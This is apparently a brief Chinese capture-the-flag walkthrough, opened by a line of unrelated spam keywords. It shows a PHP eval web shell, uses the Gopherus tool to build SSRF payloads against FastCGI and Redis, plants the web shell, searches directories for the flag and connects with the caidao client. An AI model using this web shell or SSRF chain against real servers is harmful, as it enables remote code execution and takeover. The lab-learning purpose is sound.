网剧推广一次5元_网页传奇手游游戏大全_湖南seo推广软件_河南省干部任免最新公示

 将木马进行base64编码

<?php @eval($_GET[cmd]);?>

 打开kali虚拟机，使用虚拟机中Gopherus-master工具

Gopherus-master工具安装

git clone https://github.com/tarunkant/Gopherus.git

进入工具目录 

cd Gopherus

 使用工具

python2 "位置" --exploit fastcgi

 将得到的数据进行url编码

 放到url=后面得到图下代表成功

 打开文件，使用ls ../一级一级找flag

 使用得到的flag_得到

 打开kali虚拟机，使用虚拟机中Gopherus-master工具

python2 "位置” --exploit redis

 将结果进行url编码

将数据放到url=后面

显示504不重要，重要的是木马有没有写进去 

 出现这个表示写进去了

 使用caidao连接木马